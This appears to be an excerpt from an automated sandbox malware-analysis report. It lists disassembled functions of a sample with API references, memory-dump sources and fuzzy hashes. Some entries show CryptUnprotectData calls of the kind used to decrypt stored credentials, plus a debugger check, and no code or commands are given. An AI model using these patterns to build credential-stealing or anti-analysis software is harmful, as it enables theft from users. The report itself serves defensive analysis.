(root), xrefs: 6CCF354F
expected a Time entry, xrefs: 6CCF2E36
ProfileBuffer parse error: %s, xrefs: 6CCF2E3B

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Dtoa$Ascii@Builder@2@Builder@2@@Converter@CreateDecimalEcmaIeeeMode@12@Mode@12@@Number@Representation@ScriptShortestV12@__acrt_iob_func__stdio_common_vfprintfstrlen
String ID: (root)$ProfileBuffer parse error: %s$expected a Time entry
API String ID: 801438305-4149320968
Opcode ID: 5553bcb038242705d9ba0857a1f5b45a375adc02236c698c1c776a4bcaa8b7b3
Instruction ID: 9d4e897b2d68ac4ce4f233e6cc1a7862d497803e287b0e0fe30afb7d771069b5
Opcode Fuzzy Hash: 5553bcb038242705d9ba0857a1f5b45a375adc02236c698c1c776a4bcaa8b7b3
Instruction Fuzzy Hash: C591D0706087809FD764CF24C4A069FF7E1AFC9358F10491DE9AA8B750EB30D94ACB52

Uniqueness

Uniqueness Score: -1.00%

Function 6CCAD4E0 Relevance: 10.8, Strings: 8, Instructions: 805COMMON

Download Yara Rule

Strings

8, xrefs: 6CCADC08
9, xrefs: 6CCADE7F
-, xrefs: 6CCAD7DD
, xrefs: 6CCADA88
0, xrefs: 6CCAD852
1, xrefs: 6CCADBDD
@, xrefs: 6CCADAF6
0, xrefs: 6CCADC7F

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID:
String ID: $-$0$0$1$8$9$@
API String ID: 0-3654031807
Opcode ID: 41993f7ac429cfcfffa4b5d92b22cae5da26ef32e3b94e32e4a0b8078884db9e
Instruction ID: 440f881fc2a4c95f9c446bb0f25faa8e89c50b7af043a5b8fc9fcb7c5172f7b7
Opcode Fuzzy Hash: 41993f7ac429cfcfffa4b5d92b22cae5da26ef32e3b94e32e4a0b8078884db9e
Instruction Fuzzy Hash: 8F62BE7050C3468FD705CEA9C49875ABBF2BF86318F184A4DECE54BA51E335D986CB82

Uniqueness

Uniqueness Score: -1.00%

Function 6CCABEF0 Relevance: 8.2, APIs: 5, Instructions: 652COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CCAC1CB
__aulldiv.LIBCMT ref: 6CCAC24C
__aulldiv.LIBCMT ref: 6CCAC348
__aullrem.LIBCMT ref: 6CCAC365
__aulldiv.LIBCMT ref: 6CCAC37D

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: __aulldiv$__aullrem
String ID:
API String ID: 2022606265-0
Opcode ID: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction ID: 59ceca1227ea22bd730e643d7491e324a3cdd478b44d8270898d28b3c7b1355a
Opcode Fuzzy Hash: f56df46d33552dd8100cae53d24ae323fb4832d86786e5cbb4b774b0e277ade9
Instruction Fuzzy Hash: 9F323632B046128FC718DE6CC890656BBE6AFC9310F09876DE995CB395E731ED06CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00417B4E Relevance: 7.6, APIs: 5, Instructions: 58COMMONLIBRARYCODE

Download Yara Rule

APIs

IsDebuggerPresent.KERNEL32 ref: 00418E46
SetUnhandledExceptionFilter.KERNEL32(00000000), ref: 00418E5B
UnhandledExceptionFilter.KERNEL32(0041C690), ref: 00418E66
GetCurrentProcess.KERNEL32(C0000409), ref: 00418E82
TerminateProcess.KERNEL32(00000000), ref: 00418E89

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: ExceptionFilterProcessUnhandled$CurrentDebuggerPresentTerminate
String ID:
API String ID: 2579439406-0
Opcode ID: 1485600a89bc27f1a0a21c1cb01dd845070ad6051d0655c0ebfcb599f372d5e6
Instruction ID: 5828a94612e18b022276c58097a982c86e574ee0b254963d5fd3238681fe770b
Opcode Fuzzy Hash: 1485600a89bc27f1a0a21c1cb01dd845070ad6051d0655c0ebfcb599f372d5e6
Instruction Fuzzy Hash: 2D21C274A01304EFC721EF54F944B843BB4FB8C309F91907AE64987260E7B456868F9D

Uniqueness

Uniqueness Score: -1.00%

Function 00406C10 Relevance: 7.5, APIs: 5, Instructions: 48memoryencryptionCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000008,00000400,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660), ref: 00406C1D
HeapAlloc.KERNEL32(00000000,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406C24
CryptUnprotectData.CRYPT32(?,00000000,00000000,00000000,00000000,00000001,?), ref: 00406C51
WideCharToMultiByte.KERNEL32(00000000,00000000,?,?,?,00000400,00000000,00000000,?,?,?,?,?,`v@,80000001,h0A), ref: 00406C74
LocalFree.KERNEL32(?,?,?,?,?,?,`v@,80000001,h0A,?,?,?,?,?,00407660,?), ref: 00406C7E

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocByteCharCryptDataFreeLocalMultiProcessUnprotectWide
String ID:
API String ID: 3657800372-0
Opcode ID: 325183e0ff294f6bc8ca0bae0d01f1e1eb9720b9252a7c44d145ca839e0966ea
Instruction ID: a62b9dfe9577ca48fe2f29d604933a8f18b811f44e231435f7e1fa1bbfb2df61
Opcode Fuzzy Hash: 325183e0ff294f6bc8ca0bae0d01f1e1eb9720b9252a7c44d145ca839e0966ea
Instruction Fuzzy Hash: 01011275A40708BBEB20DF94CD45F9E7779EB44B05F104155F706FB2C0D670AA118BA9

Uniqueness

Uniqueness Score: -1.00%

Function 6CD1545C Relevance: 6.6, APIs: 5, Instructions: 305COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CD18A4B

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction ID: d13b7013a9a32f47c94a660ac1ce746096cf886ef308a3c28cf88887db7e288b
Opcode Fuzzy Hash: 83bd3679e087d2f8c0a363543460151d132c5b050c0c1d93b1d77d16f48f2b37
Instruction Fuzzy Hash: 8EB1FA72E0521ACFDB14CF68DC907A9B7B2EF85314F1502A9C589DBB91E7309985CB90

Uniqueness

Uniqueness Score: -1.00%

Function 6CD1542B Relevance: 6.5, APIs: 5, Instructions: 287COMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,000000FF,?), ref: 6CD188F0
memset.VCRUNTIME140(?,000000FF,?,?), ref: 6CD1925C

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: memset
String ID:
API String ID: 2221118986-0
Opcode ID: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction ID: 544f37883f0729bad7b68d44eeb4f337bc49cdd0f2a9b68bafb3d3b4720f9784
Opcode Fuzzy Hash: 79f258be636af245f773d231f88ec99e234031016a7ca9cdfbf0dc900f23d892
Instruction Fuzzy Hash: D3B1C572E0520ACFDB14CF58DC816ADB7B2EF85314F190279C549EBB95E730A989CB90

Uniqueness

Uniqueness Score: -1.00%

Function 004094A0 Relevance: 6.1, APIs: 4, Instructions: 55encryptionmemoryCOMMON

Download Yara Rule

APIs

CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 004094CF
LocalAlloc.KERNEL32(00000040,?,?,?,00404BAE,00000000,?), ref: 004094E1
CryptStringToBinaryA.CRYPT32(?,00000000,00000001,00000000,00404BAE,00000000,00000000), ref: 0040950A
LocalFree.KERNEL32(?,?,?,?,00404BAE,00000000,?), ref: 0040951F

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: BinaryCryptLocalString$AllocFree
String ID:
API String ID: 4291131564-0
Opcode ID: eb8266b658b0a36e64dba83ee5fc04eec02a97dd996390432438c79c58cdc735
Instruction ID: 8ba321113e6e4d0cf3898c04bf9160a1f44f8cb9f34d86efd4b3c4bff5612467
Opcode Fuzzy Hash: eb8266b658b0a36e64dba83ee5fc04eec02a97dd996390432438c79c58cdc735
Instruction Fuzzy Hash: AA119074240308AFEB14CF64CC95FAA77B6FB89711F208059FA159B3D0C7B5AA41CB94

Uniqueness

Uniqueness Score: -1.00%

Function 00414450 Relevance: 6.0, APIs: 4, Instructions: 34memorytimeCOMMON

Download Yara Rule

APIs

GetProcessHeap.KERNEL32(00000000,00000104,?,0041D748,00000000,?,00000000,0041D2B1), ref: 0041445D
HeapAlloc.KERNEL32(00000000), ref: 00414464
GetLocalTime.KERNEL32(?), ref: 00414471
wsprintfA.USER32 ref: 004144A0

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: Heap$AllocLocalProcessTimewsprintf
String ID:
API String ID: 1243822799-0
Opcode ID: ecd3a08835dc28e24e172d3ec6c3ea9534f2ed94b9f2de78f98134f4a4fefc06
Instruction ID: 4df586b6dc15b0ab72eaa90ec8b013cc5aca6a98c8dd6c86bd1e3c66c74c2495
Opcode Fuzzy Hash: ecd3a08835dc28e24e172d3ec6c3ea9534f2ed94b9f2de78f98134f4a4fefc06
Instruction Fuzzy Hash: 1FF06DB6804618ABCB20DBD9DD48DBFB3FDBF4CB02F000549FA46A2180E6384A41D7B1

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE6CF0 Relevance: 4.7, APIs: 3, Instructions: 231COMMON

Download Yara Rule

APIs

InitializeConditionVariable.KERNEL32(?), ref: 6CCE6D45
ReleaseSRWLockExclusive.KERNEL32(?), ref: 6CCE6E1E

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: ConditionExclusiveInitializeLockReleaseVariable
String ID:
API String ID: 4169067295-0
Opcode ID: d43b6250c9c4cf0306a7ad30a4e83580dfa68ed5552c6e111ddc1be9dd71c182
Instruction ID: ffad7e8100fc41a9bd1424fb2c24526bf133f1d4cd366935fff98e1e19e9c8e9
Opcode Fuzzy Hash: d43b6250c9c4cf0306a7ad30a4e83580dfa68ed5552c6e111ddc1be9dd71c182
Instruction Fuzzy Hash: 46A18C706187849FDB15CF24C4907AEFBE2BF89308F04495DE98A87751EB70E949CB92

Uniqueness

Uniqueness Score: -1.00%

Function 6CD085F0 Relevance: 3.6, APIs: 2, Instructions: 619COMMON

Download Yara Rule

APIs

__aulldiv.LIBCMT ref: 6CD08C7C
__aulldiv.LIBCMT ref: 6CD08DD7

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: __aulldiv
String ID:
API String ID: 3732870572-0
Opcode ID: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction ID: d1194038cdb352d13ea7225f83bc5f42b3479bc0abf072116e278c05b0195085
Opcode Fuzzy Hash: db5f37eeb5151a0c79d842b80d44bf315513e08190c289969ce06011ea5de0b8
Instruction Fuzzy Hash: 49327E71F001198BDF18CF9DC8A17AEB7B6FB88300F56853AD506BB7A0DA349D458B91

Uniqueness

Uniqueness Score: -1.00%

Function 6CCE5C10 Relevance: 1.6, APIs: 1, Instructions: 333COMMON

Download Yara Rule

APIs

memcmp.VCRUNTIME140(?,?,6CCB4A63,?,?), ref: 6CCE5F06

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID: memcmp
String ID:
API String ID: 1475443563-0
Opcode ID: abd100b34f9fe610d90e44a7f7216ed8a5adbc5f3627b9af4977f763a909921b
Instruction ID: 09bd00b85ebe253a7152c6337dc36b087972df773e8038cdc166e45a533f4592
Opcode Fuzzy Hash: abd100b34f9fe610d90e44a7f7216ed8a5adbc5f3627b9af4977f763a909921b
Instruction Fuzzy Hash: C6C1C175E012498BCB04CF99C5906EEBBF2FF8E318F28415DD8556BB45E732A906CB90

Uniqueness

Uniqueness Score: -1.00%

Function 00419DC7 Relevance: 1.5, APIs: 1, Instructions: 4COMMON

Download Yara Rule

APIs

SetUnhandledExceptionFilter.KERNEL32(Function_00019D85), ref: 00419DCC

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: ExceptionFilterUnhandled
String ID:
API String ID: 3192549508-0
Opcode ID: 070a293f5fd72a4302476959d8ba9f25930c1a77546e2223ef40415f4a224816
Instruction ID: a2f7eb20247afb77339b0084df5ee2fab041c51b9664aeb6610f0aa757957e44
Opcode Fuzzy Hash: 070a293f5fd72a4302476959d8ba9f25930c1a77546e2223ef40415f4a224816
Instruction Fuzzy Hash: 0290027069124446460057B06C1D6966A95AA8C60679144E5E125C405DEB644448555D

Uniqueness

Uniqueness Score: -1.00%

Function 6CD176E3 Relevance: .5, Instructions: 540COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction ID: 2b0bdd9be6438a906a34ccb53227c8f8d5dc5f3153fd03d35d96e0d4e45ab188
Opcode Fuzzy Hash: 72fe09860ade046fc3bdcfcdda7f36b59b22c90a724c00f6b1989c1cc893ef4e
Instruction Fuzzy Hash: 00321771E04619CFDB14CF98D880AADFBF2BF88304F658169C449A7B65D731A986CF90

Uniqueness

Uniqueness Score: -1.00%

Function 6CCD0512 Relevance: .5, Instructions: 466COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction ID: 00b947a1bf3f7fac35bb20f938ba350be3e871cbd0e407d2d3c4e226e601562f
Opcode Fuzzy Hash: 732f8aafec1c0d410ff216b27f2e5c03b4339b09f163d0f101acbef2ddceab04
Instruction Fuzzy Hash: 74221671E006198FDB14CF98C890AADF7B2FF89314F558299D54AA7705E731B986CF80

Uniqueness

Uniqueness Score: -1.00%

Function 6CD1AC00 Relevance: .4, Instructions: 445COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2415834143.000000006CCA1000.00000020.00000001.01000000.00000008.sdmp, Offset: 6CCA0000, based on PE: true

Associated: 00000000.00000002.2415614735.000000006CCA0000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415966362.000000006CD1D000.00000002.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2415985871.000000006CD2E000.00000004.00000001.01000000.00000008.sdmpDownload File
Associated: 00000000.00000002.2416001007.000000006CD32000.00000002.00000001.01000000.00000008.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_6cca0000_4JgB4mYxvJ.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 3c7494bd1954d561fd6948df6b27ee2c78bd0b178c0403b62188df04ac10d23c
Instruction ID: 219dfc29029a336af796fcc2eb821e479f67b13a9e74454237b0e6b73fef939d
Opcode Fuzzy Hash: 3c7494bd1954d561fd6948df6b27ee2c78bd0b178c0403b62188df04ac10d23c
Instruction Fuzzy Hash: 66F1247160C7459FD700CF28D8803AAB7E2AFC5318F158A2DE4D887BE1E774D8898792

Uniqueness

Uniqueness Score: -1.00%

Function 00415DC0 Relevance: .0, Instructions: 15COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID:
String ID:
API String ID:
Opcode ID: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction ID: abbdd297b848902a35704da264ecc4a7d2e6ec457c67c65f9fa5c7ab4ebdfac4
Opcode Fuzzy Hash: eecc59efbe9cdf3acfc8abb57b86a9aab05cbe8bc62256deaf8fcc3308cb31aa
Instruction Fuzzy Hash: 1EE04878A56608EFC740CF88D584E49B7F8EB0D720F1181D5ED099B721D235EE00EA90

Uniqueness

Uniqueness Score: -1.00%

Function 0041952A Relevance: 129.2, APIs: 86, Instructions: 188COMMONLIBRARYCODE

Download Yara Rule

APIs

_free.LIBCMT ref: 0041953E

Part of subcall function 00417247: HeapFree.KERNEL32(00000000,00000000,?,00417158,00000000,00421AC0,0041719F,?,?,?,0041720F,00421AC0,?,?,00419FD3,00421AC0), ref: 0041725D
Part of subcall function 00417247: GetLastError.KERNEL32(?,?,00417158,00000000,00421AC0,0041719F,?,?,?,0041720F,00421AC0,?,?,00419FD3,00421AC0), ref: 0041726F

_free.LIBCMT ref: 00419546
_free.LIBCMT ref: 0041954E
_free.LIBCMT ref: 00419556
_free.LIBCMT ref: 0041955E
_free.LIBCMT ref: 00419566
_free.LIBCMT ref: 0041956D
_free.LIBCMT ref: 00419575
_free.LIBCMT ref: 0041957D
_free.LIBCMT ref: 00419585
_free.LIBCMT ref: 0041958D
_free.LIBCMT ref: 00419595
_free.LIBCMT ref: 0041959D
_free.LIBCMT ref: 004195A5
_free.LIBCMT ref: 004195AD
_free.LIBCMT ref: 004195B5
_free.LIBCMT ref: 004195C0
_free.LIBCMT ref: 004195C8
_free.LIBCMT ref: 004195D0
_free.LIBCMT ref: 004195D8
_free.LIBCMT ref: 004195E0
_free.LIBCMT ref: 004195E8
_free.LIBCMT ref: 004195F0
_free.LIBCMT ref: 004195F8
_free.LIBCMT ref: 00419600
_free.LIBCMT ref: 00419608
_free.LIBCMT ref: 00419610
_free.LIBCMT ref: 00419618
_free.LIBCMT ref: 00419620
_free.LIBCMT ref: 00419628
_free.LIBCMT ref: 00419630
_free.LIBCMT ref: 00419638
_free.LIBCMT ref: 00419646
_free.LIBCMT ref: 00419651
_free.LIBCMT ref: 0041965C
_free.LIBCMT ref: 00419667
_free.LIBCMT ref: 00419672
_free.LIBCMT ref: 0041967D
_free.LIBCMT ref: 00419688
_free.LIBCMT ref: 00419693
_free.LIBCMT ref: 0041969E
_free.LIBCMT ref: 004196A9
_free.LIBCMT ref: 004196B4
_free.LIBCMT ref: 004196BF
_free.LIBCMT ref: 004196CA
_free.LIBCMT ref: 004196D5
_free.LIBCMT ref: 004196E0
_free.LIBCMT ref: 004196EB
_free.LIBCMT ref: 004196F9
_free.LIBCMT ref: 00419704
_free.LIBCMT ref: 0041970F
_free.LIBCMT ref: 0041971A
_free.LIBCMT ref: 00419725
_free.LIBCMT ref: 00419730
_free.LIBCMT ref: 0041973B
_free.LIBCMT ref: 00419746
_free.LIBCMT ref: 00419751
_free.LIBCMT ref: 0041975C
_free.LIBCMT ref: 00419767
_free.LIBCMT ref: 00419772
_free.LIBCMT ref: 0041977D
_free.LIBCMT ref: 00419788
_free.LIBCMT ref: 00419793
_free.LIBCMT ref: 0041979E
_free.LIBCMT ref: 004197AC
_free.LIBCMT ref: 004197B7
_free.LIBCMT ref: 004197C2
_free.LIBCMT ref: 004197CD
_free.LIBCMT ref: 004197D8
_free.LIBCMT ref: 004197E3
_free.LIBCMT ref: 004197EE
_free.LIBCMT ref: 004197F9
_free.LIBCMT ref: 00419804
_free.LIBCMT ref: 0041980F
_free.LIBCMT ref: 0041981A
_free.LIBCMT ref: 00419825
_free.LIBCMT ref: 00419830
_free.LIBCMT ref: 0041983B
_free.LIBCMT ref: 00419846
_free.LIBCMT ref: 00419851
_free.LIBCMT ref: 0041985F
_free.LIBCMT ref: 0041986A
_free.LIBCMT ref: 00419875
_free.LIBCMT ref: 00419880
_free.LIBCMT ref: 0041988B
_free.LIBCMT ref: 00419896

Memory Dump Source

Source File: 00000000.00000002.2389728058.0000000000400000.00000040.00000001.01000000.00000003.sdmp, Offset: 00400000, based on PE: true

Associated: 00000000.00000002.2389728058.0000000000447000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000549000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000624000.00000040.00000001.01000000.00000003.sdmpDownload File
Associated: 00000000.00000002.2389728058.0000000000636000.00000040.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_400000_4JgB4mYxvJ.jbxd

Yara matches

Similarity

API ID: _free$ErrorFreeHeapLast
String ID:
